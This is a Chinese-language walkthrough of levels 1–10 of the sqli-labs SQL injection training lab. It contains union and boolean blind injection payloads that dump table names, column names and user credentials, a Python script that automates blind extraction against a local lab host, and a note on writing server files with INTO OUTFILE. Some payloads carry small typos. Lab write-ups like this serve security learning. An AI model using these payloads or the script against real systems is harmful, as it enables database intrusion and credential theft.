摘要:本篇是关于sqli-labs第1到第10关的闯关记录
Less-1
- 单引号闭合,有错误提示,有查询返回点
根据什么来判断是否存在注入呢?我们输入id=1
返回正常,并查询出了相关结果,当我们的id=1'
时,返回不正常,显示有语法错误,此时,我们假定后端的SQL语句是这样的SELECT * FROM xxx WHERE id ='1''
也就是说,我们假定它是以单引号闭合的,而多出来的单引号造成了报错,那么我们需要来验证我们的假设。
验证假设我们可以用id=1'--+
在url框里面,--+编码后就是#注释符,但注意在post注入时没有url编码,--+是没有用的;所以--+会注释掉后面的'(单引号),若不会报错,则说明我们假设正确。并据此推断出SQL语句的闭合方式。
根据我们前面介绍的MySQL的相关前提来构造畸形的SQL语句,来达到我们的目的。
先用order by
找出字段数
payload:
?id=1' order by 1 --+
?id=1' order by 2 --+
?id=1' order by 3 --+
?id=1' order by 4 --+
,
order by
本意在有多个结果的时候,根据order by
后的字段进行某种排序(加参数),根据mysql的官方文档
select_expr [, select_expr …] [FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position} [ASC | DESC], … [WITH ROLLUP]] [HAVING where_condition]
[ORDER BY {col_name | expr | position} [ASC | DESC], …]
数字代表位置索引,order by 3
也即意为以第三个字段排序;当我们order by 4
的时候,报错,表名没有该列,也意味着表中只有三列。
接下来找出回显位置
payload: ?id=0' union select 1,2,3 --+
union
将两个SQL语句连接,这里要注意id是等于0的,前一个SQL会出错,因为没有id是等于0的,所以将会执行union后的SQL语句,暴露出了两个回显的位置。
爆表爆字段爆值
payload:
?id=0' union select 1,datebase(),3--+
?id=0'union select 1,2,group_concat(table_name) from information_schema.columns where table_schema=database()--+
?id=0'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=0'union select 1,group_concat(username),group_concat(password) from security.users
--+
MySQL基础那篇提到过database()表示当前数据库
group_concat()将结果郑赫整合在一起,因此可以返回所有的结果,这里有个细节;查询出来的结果可以看出只有四个表,是有重复的,但是每个表名重复的个数又不尽相同,这是为什么呢?其实这暴露了每个表的字段数,可以查看information_schema.columns
的结构,在结合我们的SQL语句,就很明了了。
Less-2
- 无需引号闭合,有错误提示,有查询返回点
每一步与第一关类似,只是无需引号闭合
Less-3
- 单引号+括弧闭合,有错误提示,有查询返回点
每一步与第一关类似,闭合方式为单引号+括弧
Less-4
- 双引号+括弧闭合,有错误提示,有查询返回点
每一步与第一关类似,闭合方式为双引号+括弧
Less-5
- 单引号闭合,有错误提示,无查询返回点
正式进入盲注了,要像对待第一关一样认真,搞明白,后面的关卡才可以举一反三。盲注只会告诉我们“是”或“不是”,因此可以按照下面的步骤进行手注。
找出闭合方式
我们的第一步要找出是否存在注入漏洞,找出闭合方式,判断闭合方式,我们前面给出了方法,但其实是武断的,随着学习的深入,这里给出更为可靠的判断方法。(还需要认识要用到的截取函数,可以参考这篇文章)
?id=1' and 1=1 --+
?id=1' and 1=2 --+
为什么说前面给的方法武断呢?这是因为,在SQL语法中,引号是可以包含的,单引号可以包含在双引号中,我们payload如:?id=1' --+
,回显正常,如果按照最初的方法,我们会认为这里的闭合方式就是单引号闭合,而实际上,,当闭合方式为双引号闭合时,因为单引号可以被包含在双引号中,也会回显正常。
而当前这种方式的时候,如果确实为单引号闭合,and 1=1
和and 1=2
会被当作SQL语句处理,那么两条语句返回肯定是不同的。如果是双引号闭合,因为and后的语句不会被认为是SQL语句,而是普通的字符串,则返回相同。
爆数据库名
payload:
?id=1' and substr(database(),1,1)='s'--+
substr(database(),x,y)
函数表示从x(从1开始)截取y个database()(当前数据库名字)的字符。以此类推,可以遍历出当前数据库的名字
爆表的个数;爆表名称字符串长度,进而爆出表的名称
payload
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4
--+
?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6
--+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'
--+
这里,先看substr函数里面的部分,select语句查询当前数据库中的表,又使用limit函数来限定返回第1个(我们第一步爆出表的个数在这里就有用了),substr获得这个表的名称,length函数再获得它的长度,以此类推最后便可以判断出该表名称中字符的个数。
在这里,select语句查找数据库中的表,使用limit限制从第0个(即第一个)开始,有用substr截取从第一个开始一个字符,拿这个字符与e作比较。我们可以通过修改limit后的0和substr三个参数中第二个参数:1来进行遍历,从而获得所有的标的名称。因为我们已经知道第一个表为emails
第一个字符为e所以它显示“you are in ......”
爆字段个数;爆字段名称字符串长度,进而爆出字段名称
可以参考前面爆表名称的时候的步骤,做到举一反三。
payload:
?id=1' and (select count(column_name) from information_schema.columns where table_name='emails')=2
--+
?id=1' and length(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1))=2
--+
?id=1' and (substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))='i'
--+
手注是十分十分累的,交给Python吧,下面的脚本是我按照上面的思路写的,一个很辣鸡的面向过程的思路;(ps:直接运行会直接让服务器崩掉的,所以查询出来的结果是没有后半截的,建议理解了后进行修改,只跑单个表,减缓服务器的压力;另外,ip地址:192.168.137)
#!/bin/usr/python3
#-*- coding: utf-8 -*-
import requests
url = "http://192.168.137.75/sqli-labs/Less-5/"
IN = len(requests.get(url+'?id=1').text)
OUT = len(requests.get(url+'?id=0').text)
DATABASE = ''
table = ''
TABLES = []
COLUMNS = []
def fDatabse():
global DATABASE
for i in range(1,20):
for j in range(97,122):#都是小写的,97到122足矣
payload = "?id=1' and substr(database(),"+str(i)+",1)='"+chr(j)+"'--+"
# print url+payload
if(len(requests.get(url+payload).text)==IN):
#print chr(j)
DATABASE = DATABASE+chr(j)
break
if(len(requests.get(url+"?id=1' and substr(database(),"+str(i)+",1)=''--+").text)==IN):
break#测试可节省一半以上时间
def fTables():
global TABLES
global table
table_name = ''
tables_number = 0
table_length = []
for i in range(10):
payload = "?id=1' and (select count(table_name) from information_schema.tables where table_schema = database())=%d--+" % (i)
if(len(requests.get(url+payload).text)==IN): #我要是会面向对象该多好,这里一定省很多力
tables_number = i
break
#打印数据表的长度
print(tables_number)
for i in range(tables_number):
for j in range(20):
payload = "?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),1))=%d--+" % (i,j)
#print(url+payload)
if(len(requests.get(url+payload).text)==IN):
table_length.append(j)
break
#打印出数据表的长度的列表
print(table_length)
for i in range(tables_number):
for k in range(table_length[i]+1):
for j in range(97,124):
payload = "?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)='" % (i,k)
payload = payload + chr(j)+ "'--+"
#print(payload)
if(len(requests.get(url+payload).text)==IN):
table_name = table_name+chr(j)
break
TABLES.append(table_name)
table_name = ''
print(TABLES)
def fColumns():
flag = 0
columns_number = []
column_name = ''
global COLUMNS
print(TABLES[1])
for i in TABLES:
for j in range(1,12):
payload = "?id=1' and (select count(column_name) from information_schema.columns where table_name='%s')=%d--+" % (i,j)
#print(payload)
if(len(requests.get(url+payload).text)==IN):
columns_number.append(j) #表中的字段的个数
for i in range(len(TABLES)): # 作为表的个数
for j in range(int(columns_number[i])): #j就是每个表中的列的个数
for k in range(1,10): #k作为字段的长度,我们没有判断,按20算最长,配合break,
for l in range(95,123): #l作ascii码索引
payload = "?id=1' and (substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))='%s'" % (TABLES[i],j,k,chr(l))
print(url+payload+"--+")
if(len(requests.get(url+payload+"--+").text)==IN):
column_name = column_name+chr(l)
if(len(requests.get(url+payload[:-1]+"' ' --+").text)==IN):
print(url+payload+"--+")
flag = 1
break
if(flag==1):
flag = 0
break
COLUMNS.append(column_name)
column_name = ''
print(COLUMNS)
fTables()
fColumns()
Less-6
- 双引号闭合,有错误提示,无查询返回点
参照第五关,需将闭合方式改为双引号闭合
Less-7
- 单引号+括弧+括弧闭合,无错误提示,无查询返回点
可以通过盲注的思路通关,但是这里提示要用outfile
,
SELECT ... INTO OUTFILE
将语句结果集写入到文件中,也就是说让我们练习使用这个语句向服务器后台写文件,第七关是不会直接显示错误提示信息的,通过对前面第五关的测验,发现问题所在,其中1,2,3数字的位置可以替换为我们的SQL语句,将需要的信息写入后台的文件后再访问该文件查看
Less-8
- 单引号闭合,无错误提示,无查询返回点
真正意义上的盲注,不过方法还是相同的
Less-9
- 时间盲注,暂pass
Less-10
- 时间盲注